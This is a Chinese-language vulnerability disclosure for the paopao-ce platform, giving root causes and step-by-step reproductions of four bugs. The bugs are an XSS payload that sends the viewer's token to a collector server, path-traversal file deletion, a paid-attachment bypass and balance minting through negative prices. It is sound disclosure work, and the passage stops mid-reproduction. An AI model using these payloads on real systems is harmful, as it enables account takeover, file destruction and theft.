paopao-ce 漏洞报告

软件名称:paopao-ce

开发者或厂商:rocboss

代码仓库:https://github.com/rocboss/paopao-ce

1. 话题渲染 XSS 接管账号

简要描述:帖子的 #话题 高亮把正文拼进 HTML,攻击者发布一条公开帖即可在查看者的浏览器里执行脚本并接管其账号。
影响版本:v0.1.0 ~ v0.6.0-alpha.3
漏洞引入:paopao-ce commit d6cd6198
前置条件:站点开放注册(默认开放),攻击者注册一个账号;受害者浏览显示该帖子的页面。

漏洞成因

帖子的正文由服务端原样入库,前端渲染时用 preparePost 生成话题高亮。相关代码如下:

// web/src/utils/content.ts:46-70    commit 0b35d12b
  const tagExp = /(#|#)([^#@\s])+?\s+?/g;
  const atExp = /@([a-zA-Z0-9])+?\s+?/g;
  content = content
    .replace(/<[^>]*?>/gi, '')
    .replace(/(.*?)<\/[^>]*?>/gi, '')
    .replace(tagExp, (item) => {
      return (
        '<a class="hash-link" data-detail="tag:' +
        encodeURIComponent(item.substring(1).trim()) +
        '">' +
        item.trim() +
        '</a> '
      );
    })

/<[^>]*?>/gi 删除的是带闭合尖括号的片段,正文里落单的 < 会留在字符串中。话题替换把匹配到的原文拼进 <a> 的标签体,末尾的 </a> 为落单的 < 补上了缺失的 >,浏览器随后把这段文本解析成标签,onerror 一类事件属性随元素创建而生效。

话题正则不允许片段内出现空白字符与 #、@,payload 因此不能带空格。HTML 词法状态机在引号结束后进入属性名状态,<img/onerror="..."src=z 里的 / 只作为自闭合标记,onerror 与 src 仍会被解析成两个属性。

渲染点都使用 v-html,位置在 web/src/components/post-item.vue:83,92、web/src/components/post-detail.vue:146、web/src/components/comment-item.vue:96。服务端在 CreateTweet 里把 item.Content 原样写入 p_post_content:

// internal/servants/web/priv.go:276-294    commit 0b35d12b
		if err := item.Check(s.Ds); err != nil {
			logrus.Infof("contents check err: %s", err)
			continue
		}
		if item.Type == ms.ContentTypeAttachment && req.AttachmentPrice > 0 {
			item.Type = ms.ContentTypeChargeAttachment
		}
		postContent := &ms.PostContent{
			PostID:  post.ID,
			UserID:  req.User.ID,
			Content: item.Content,
			Type:    item.Type,
			Sort:    item.Sort,
		}

登录令牌存放在 localStorage 的 PAOPAO_TOKEN 键(web/src/store/user.ts:5),页面脚本可以读取该键。脚本在站点的源内执行,取出令牌发给攻击者主机即可。

复现环境搭建

实验环境用官方 compose 部署,backend 由官方 Dockerfile 构建。构建前先在本机生成前端产物,命令如下:

git clone https://github.com/rocboss/paopao-ce.git
cd paopao-ce
git checkout 0b35d12b
sed -i 's|^VITE_HOST=.*|VITE_HOST=""|' web/.env
cd web && npm install && npm run build && cd ..
docker build -t bitbus/paopao-ce:0.6-alpha --build-arg USE_DIST=yes .
docker compose up -d

官方 Dockerfile 的前端阶段基于 node:19-alpine,依赖 naive-ui 要求 Node 20 以上,yarn build 会失败。改用本机构建出的 web/dist,并以 USE_DIST=yes 跳过镜像内的前端构建。VITE_HOST 置空后,前端把 API 请求发往页面所在的源。

docker-compose.yaml 中的 db 占用宿主 3306 端口,该端口被其他服务占用时,删掉 db 的 ports 映射即可。

环境启动后注册 alice、bob 两个账号:

curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}'

每个漏洞复现前重建环境,命令如下:

docker compose down -v && sudo rm -rf custom/data && docker compose up -d

复现过程

创建 alice 账号并登录,取得令牌:

curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
{"code":0,"msg":"success","data":{"id":100058,"username":"alice"}}
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODgzNjgwfQ.0fB6Lolljw9oZWi-U7Ahojd4yHWE-geZV_YOSzWfjL8"}}

以 alice 的身份发布一条公开帖,正文里带 payload:

curl -s -X POST http://127.0.0.1:8008/v1/post \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODgzNjgwfQ.0fB6Lolljw9oZWi-U7Ahojd4yHWE-geZV_YOSzWfjL8' \
  -d '{"contents":[{"content":"hello #x<img/onerror=\"fetch(`http://127.0.0.1:18090/collect?t=`+localStorage.PAOPAO_TOKEN)\"src=z world","type":2,"sort":1}],"tags":["news"],"users":[""],"visibility":0,"attachment_price":0}'
{"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/harry.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"hello #x\u003cimg/onerror=\"fetch(`http://127.0.0.1:18090/collect?t=`+localStorage.PAOPAO_TOKEN)\"src=z world","type":2,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794797280,"created_on":1794797280,"modified_on":1794797280,"tags":{"news":1},"attachment_price":0,"ip_loc":"局域网"}}

在攻击者主机启动接收服务:

# evil.py
from fastapi import FastAPI, Request

app = FastAPI()


@app.get("/collect")
async def collect(request: Request):
    token = request.query_params.get("t", "")
    if token and token != "undefined":
        print("token:", token, flush=True)
    return {"ok": True}
uvicorn evil:app --host 0.0.0.0 --port 18090

用 bob 登录站点,打开首页。帖子正常显示,脚本在后台执行:

接收服务输出被窃取的令牌:

token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4MzY4MX0.DfdQQB-bMjPkPBAfx3aa_iwxACxDXCXct8n_KMKcREs

2. 对象键路径穿越删除服务器文件

简要描述:参数校验失败时,头像与评论接口把请求中的路径交给对象存储的删除动作,登录用户借此删除服务器上的文件。
影响版本:v0.2.0 ~ v0.6.0-alpha.3
漏洞引入:paopao-ce commit ffb2bac3
前置条件:攻击者持有普通账号;存储后端为 LocalOSS(官方 compose 默认)。

漏洞成因

头像修改接口在返回错误前,把请求里的 avatar 交给清理函数:

// internal/servants/web/core.go:355-360    commit 0b35d12b
func (s *coreSrv) ChangeAvatar(req *web.ChangeAvatarReq) (xerr error) {
	defer func() {
		if xerr != nil {
			deleteOssObjects(s.oss, []string{req.Avatar})
		}
	}()

deleteOssObjects 换算出对象键后调用 DeleteObject:

// internal/servants/web/utils.go:108-119    commit 0b35d12b
func deleteOssObjects(oss core.ObjectStorageService, mediaContents []string) {
	mediaContentsSize := len(mediaContents)
	if mediaContentsSize > 1 {
		objectKeys := make([]string, 0, mediaContentsSize)
		for _, cUrl := range mediaContents {
			objectKeys = append(objectKeys, oss.ObjectKey(cUrl))
		}
		go oss.DeleteObjects(objectKeys)
	} else if mediaContentsSize == 1 {
		oss.DeleteObject(oss.ObjectKey(mediaContents[0]))
	}
}

ObjectKey 只在字符串中替换 OSS 域名,参数不含域名时原样返回;DeleteObject 把结果接在 savePath 后面交给 os.Remove:

// internal/dao/storage/localoss.go:142-143,180-182    commit 0b35d12b
func (s *localossServant) DeleteObject(objectKey string) error {
	return os.Remove(s.savePath + objectKey)
}

func (s *localossServant) ObjectKey(objectUrl string) string {
	return strings.Replace(objectUrl, s.domain, "", -1)
}

savePath 为 /app/paopao-ce/custom/data/paopao-ce/oss/paopao/。参数是 public/avatar/... 这样的对象键时,拼接结果落在该目录之下;参数以 / 开头并带若干 ../ 时,结果指向目录之外。CheckAttachment 仅判断参数是否以 OSS 域名开头(internal/dao/security/attachment_check.go:19-24),不含域名的值必然进入错误分支,删除动作随之执行。

CreateComment 与 CreateTweet 的 defer deleteOssObjects(mediaContents)(internal/servants/web/priv.go:246-258、:512-521)提供相同能力。persistMediaContents 把 type=8 的内容原样收进待清理列表,Check 对 type=8 不做域名校验,因此评论接口可以用一条注定失败的请求触发删除。

复现环境搭建

复用第 1 节的环境。重建后创建 alice、bob 两个账号:

curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}'

复现过程

登录两个账号,取得令牌:

curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}'
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8"}}
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiI1M2MwOTg3MzBiMjg0MzY1MjgyODE3NTA2MDhmY2VkNiIsImV4cCI6MTc5NDg4MjkyNH0.sGJ-MXRCvkX2Pa6ThPNYHuUvAMvsi-QabJ-FaLsLTw8"}}

bob 上传一个头像文件:

curl -s -X POST http://127.0.0.1:8008/v1/attachment \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiI1M2MwOTg3MzBiMjg0MzY1MjgyODE3NTA2MDhmY2VkNiIsImV4cCI6MTc5NDg4MjkyNH0.sGJ-MXRCvkX2Pa6ThPNYHuUvAMvsi-QabJ-FaLsLTw8' \
  -F 'file=@victim.png;type=image/png' -F 'type=public/avatar'
{"code":0,"msg":"success","data":{"user_id":100059,"file_size":67,"img_width":0,"img_height":0,"type":1,"content":"http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png"}}

bob 把它设为头像,文件随之写入磁盘:

curl -s -X POST http://127.0.0.1:8008/v1/user/avatar \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiI1M2MwOTg3MzBiMjg0MzY1MjgyODE3NTA2MDhmY2VkNiIsImV4cCI6MTc5NDg4MjkyNH0.sGJ-MXRCvkX2Pa6ThPNYHuUvAMvsi-QabJ-FaLsLTw8' \
  -d '{"avatar":"http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png"}'
docker compose exec -T backend ls -l /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png
{"code":0,"msg":"success"}
-rw-r--r--    1 root     root            67 Nov 16 02:35 /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png
200

alice 把这串对象键作为自己的头像提交:

curl -s -X POST http://127.0.0.1:8008/v1/user/avatar \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8' \
  -d '{"avatar":"public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png"}'
{"code":10001,"msg":"错误码: 10001, 错误信息: 入参错误"}

接口返回参数错误,bob 的文件在此时被删除:

docker compose exec -T backend ls -l /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png
ls: /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png: No such file or directory
404

在 OSS 目录之外创建文件,再用 ../ 删除它:

docker compose exec -T backend sh -c 'echo report-canary > /tmp/report-canary.txt'
curl -s -X POST http://127.0.0.1:8008/v1/user/avatar \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8' \
  -d '{"avatar":"/../../../../../../../tmp/report-canary.txt"}'
docker compose exec -T backend ls -l /tmp/report-canary.txt
{"code":10001,"msg":"错误码: 10001, 错误信息: 入参错误"}
ls: /tmp/report-canary.txt: No such file or directory

评论接口是另一条入口,请求本身注定失败,删除动作照旧发生:

docker compose exec -T backend sh -c 'echo comment-canary > /tmp/comment-canary.txt'
curl -s -X POST http://127.0.0.1:8008/v1/post/comment \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8' \
  -d '{"post_id":99999999,"contents":[{"content":"/../../../../../../../tmp/comment-canary.txt","type":8,"sort":1}],"users":[""]}'
docker compose exec -T backend ls -l /tmp/comment-canary.txt
{"code":10000,"msg":"错误码: 10000, 错误信息: 服务内部错误"}
ls: /tmp/comment-canary.txt: No such file or directory

3. 收费附件地址泄露绕过付费限制

简要描述:收费附件的存储地址随帖子正文下发,付费限制只挂在下载接口上,未登录访客请求该地址即可取到文件。
影响版本:v0.1.0 ~ v0.6.0-alpha.3
漏洞引入:paopao-ce commit d6cd6198
前置条件:站点存在收费附件(收费附件功能默认开启)。

漏洞成因

帖子详情接口把 contents 原样返回,type=8 的 content 字段就是对象存储地址:

// internal/servants/web/loose.go:501-519    commit 0b35d12b
	post, err := s.Ds.GetPostByID(req.TweetId)
	// ...
	postFormated := post.Format()
	for _, user := range users {
		postFormated.User = user.Format()
	}
	for _, content := range postContents {
		if content.PostID == post.ID {
			postFormated.Contents = append(postFormated.Contents, content.Format())
		}
	}
// internal/dao/jinzhu/dbr/post_content.go:70-81    commit 0b35d12b
func (p *PostContent) Format() *PostContentFormated {
	if p.Model == nil {
		return nil
	}
	return &PostContentFormated{
		ID:      p.ID,
		PostID:  p.PostID,
		Content: p.Content,
		Type:    p.Type,
		Sort:    p.Sort,
	}
}

付费判定只存在于 /v1/attachment(internal/servants/web/priv.go:202-244),而 LocalOSS 的对象地址不带签名,拿到地址即可下载:

// internal/dao/storage/localoss.go:164-174    commit 0b35d12b
func (s *localossServant) SignURL(objectKey string, expiredInSec int64) (string, error) {
	if expiredInSec < 0 {
		return "", fmt.Errorf("invalid expires: %d, expires must bigger than 0", expiredInSec)
	}
	expiration := time.Now().Unix() + expiredInSec

	// Fixed: Just make things simple and simple now so return an veiry simple sign url.
	// Maybe make another process logic for sign url in future but not now.
	uri := fmt.Sprintf("%s%s?expired=%d", s.domain, objectKey, expiration)
	return uri, nil
}

expired 参数在下载路径上没有被校验,/oss/ 的静态目录直接把文件返回给请求方。帖子的可见性只保护正文,附件地址一旦下发就不再受控。

复现环境搭建

复用第 1 节的环境。重建后创建 alice、carol 两个账号:

curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"carol","password":"pass1234"}'

复现过程

登录两个账号:

curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"carol","password":"pass1234"}'
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjU2M2RmNGQwMDY3MDBhOTg0ZmRiNWJiNjI2ZTAxZmM5IiwiZXhwIjoxNzk0ODgyOTYxfQ.Fr8TNgAtmaq2TmV8ylCjCahKHJLxYhrD1fl3w1ieLSs"}}
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJjYXJvbCIsImlzcyI6ImMwY2U3Nzg1MmI4NDY1ZDk4MTZhMGI1ZDg0MzlkMmUxIiwiZXhwIjoxNzk0ODgyOTYxfQ.SK4-xE3HJIH-WMXHE1Y5MXrLNnsR9XeKcmV8YpQEsCw"}}

alice 生成一个压缩包并上传:

printf 'paid attachment secret of alice\n' > secret.txt
zip -q paid.zip secret.txt
curl -s -X POST http://127.0.0.1:8008/v1/attachment \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjU2M2RmNGQwMDY3MDBhOTg0ZmRiNWJiNjI2ZTAxZmM5IiwiZXhwIjoxNzk0ODgyOTYxfQ.Fr8TNgAtmaq2TmV8ylCjCahKHJLxYhrD1fl3w1ieLSs' \
  -F 'file=@paid.zip;type=application/zip' -F 'type=attachment'
{"code":0,"msg":"success","data":{"user_id":100058,"file_size":150,"img_width":0,"img_height":0,"type":3,"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip"}}

alice 以 999 的价格发布这条收费附件:

curl -s -X POST http://127.0.0.1:8008/v1/post \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjU2M2RmNGQwMDY3MDBhOTg0ZmRiNWJiNjI2ZTAxZmM5IiwiZXhwIjoxNzk0ODgyOTYxfQ.Fr8TNgAtmaq2TmV8ylCjCahKHJLxYhrD1fl3w1ieLSs' \
  -d '{"contents":[{"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip","type":8,"sort":1}],"tags":["paid"],"users":[""],"visibility":0,"attachment_price":999}'
{"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/emily.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796561,"created_on":1794796561,"modified_on":1794796561,"tags":{"paid":1},"attachment_price":999,"ip_loc":"局域网"}}

未登录的浏览器打开该帖,页面显示收费附件:

访客请求帖子详情,正文里带着附件地址:

curl -s "http://127.0.0.1:8008/v1/post?id=1080017989"
{"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/emily.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796561,"created_on":1794796561,"modified_on":1794796561,"tags":{"paid":1},"attachment_price":999,"ip_loc":"局域网"}}

访客下载该地址,得到附件内容:

curl -s -o loot.zip -w 'http_code=%{http_code} size=%{size_download}\n' \
  http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip
unzip -p loot.zip secret.txt
http_code=200 size=150
paid attachment secret of alice

访客调用下载接口时被拦截,已登录的 carol 余额为零时也会被拦截:

curl -s "http://127.0.0.1:8008/v1/attachment?id=180022546"
curl -s "http://127.0.0.1:8008/v1/attachment?id=180022546" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJjYXJvbCIsImlzcyI6ImMwY2U3Nzg1MmI4NDY1ZDk4MTZhMGI1ZDg0MzlkMmUxIiwiZXhwIjoxNzk0ODgyOTYxfQ.SK4-xE3HJIH-WMXHE1Y5MXrLNnsR9XeKcmV8YpQEsCw'
{"code":10005,"msg":"鉴权失败,Token 错误或丢失"}
{"code":30009,"msg":"错误码: 30009, 错误信息: 附件下载失败:账户资金不足"}

购买记录为空,说明上述下载没有经过付费流程:

$ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select count(*) as bills from p_post_attachment_bill"
bills
0

4. 负数附件价格铸造余额

简要描述:附件价格没有下限校验,攻击者把价格设为负数后下载,余额不减反增。
影响版本:v0.1.0 ~ v0.6.0-alpha.3
漏洞引入:paopao-ce commit d6cd6198
前置条件:攻击者持有普通账号。

漏洞成因

价格字段是 int64,请求结构体上没有取值约束:

// internal/model/web/priv.go:52-60    commit 0b35d12b
type CreateTweetReq struct {
	BaseInfo        `json:"-" binding:"-"`
	Contents        []*PostContentItem `json:"contents" binding:"required,dive"`
	Tags            []string           `json:"tags" binding:"required"`
	Users           []string           `json:"users" binding:"required"`
	Visibility      TweetVisibleType   `json:"visibility"`
	AttachmentPrice int64              `json:"attachment_price"`
}

CreateTweet 把价格原样落库,buyPostAttachment 只判断余额是否小于价格:

// internal/servants/web/priv.go:885-895    commit 0b35d12b
func (s *privSrv) buyPostAttachment(post *ms.Post, user *ms.User) error {
	if user.Balance < post.AttachmentPrice {
		return web.ErrInsuffientDownloadMoney
	}
	// 执行购买
	if err := s.Ds.HandlePostAttachmentBought(post, user); err != nil {
		logrus.Errorf("Ds.HandlePostAttachmentBought err: %s", err)
		return xerror.ServerError
	}
	return nil
}

价格是负数时,0 < -1000000 不成立,购买流程直接通过。扣款用减法实现:

// internal/dao/jinzhu/wallet.go:98-110    commit 0b35d12b
func (s *walletSrv) HandlePostAttachmentBought(post *ms.Post, user *ms.User) error {
	return s.db.Transaction(func(tx *gorm.DB) error {
		// 扣除金额
		if err := tx.Model(user).Update("balance", gorm.Expr("balance - ?", post.AttachmentPrice)).Error; err != nil {
			return err
		}
		// ...
		if err := tx.Create(&dbr.WalletStatement{
			PostID:          post.ID,
			UserID:          user.ID,
			ChangeAmount:    -post.AttachmentPrice,
			BalanceSnapshot: user.Balance - post.AttachmentPrice,
			Reason:          "购买附件支出",
		}).Error; err != nil {
			return err
		}

balance - (-1000000) 等于 balance + 1000000,账单里的 change_amount 变成正数。余额进入用户缓存,缓存 120 秒后失效,此后可以用这笔余额购买站内的收费附件。

复现环境搭建

复用第 1 节的环境。重建后创建 alice、bob 两个账号:

curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/register \
  -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}'

复现过程

登录两个账号:

curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}'
curl -s -X POST http://127.0.0.1:8008/v1/auth/login \
  -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}'
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw"}}
{"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4NTM3M30.-aT5n4HuQhebAzU2x6iRsyW9lMraukJL4hZkbhR_tX4"}}

alice 上传一个附件:

printf 'content of sink\n' > secret.txt
zip -q sink.zip secret.txt
curl -s -X POST http://127.0.0.1:8008/v1/attachment \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \
  -F 'file=@sink.zip;type=application/zip' -F 'type=attachment'
{"code":0,"msg":"success","data":{"user_id":100058,"file_size":134,"img_width":0,"img_height":0,"type":3,"content":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip"}}

alice 以负数价格发布这条附件:

curl -s -X POST http://127.0.0.1:8008/v1/post \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \
  -d '{"contents":[{"content":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip","type":8,"sort":1}],"tags":["paid"],"users":[""],"visibility":0,"attachment_price":-1000000}'
{"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/abigail.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796694,"created_on":1794796694,"modified_on":1794796694,"tags":{"paid":1},"attachment_price":-1000000,"ip_loc":"局域网"}}

bob 的余额为零,下载这条附件:

curl -s "http://127.0.0.1:8008/v1/attachment?id=180022546" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4NTM3M30.-aT5n4HuQhebAzU2x6iRsyW9lMraukJL4hZkbhR_tX4'
{"code":0,"msg":"success","data":{"signed_url":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip?expired=1794796754"}}

余额与账单随之变化:

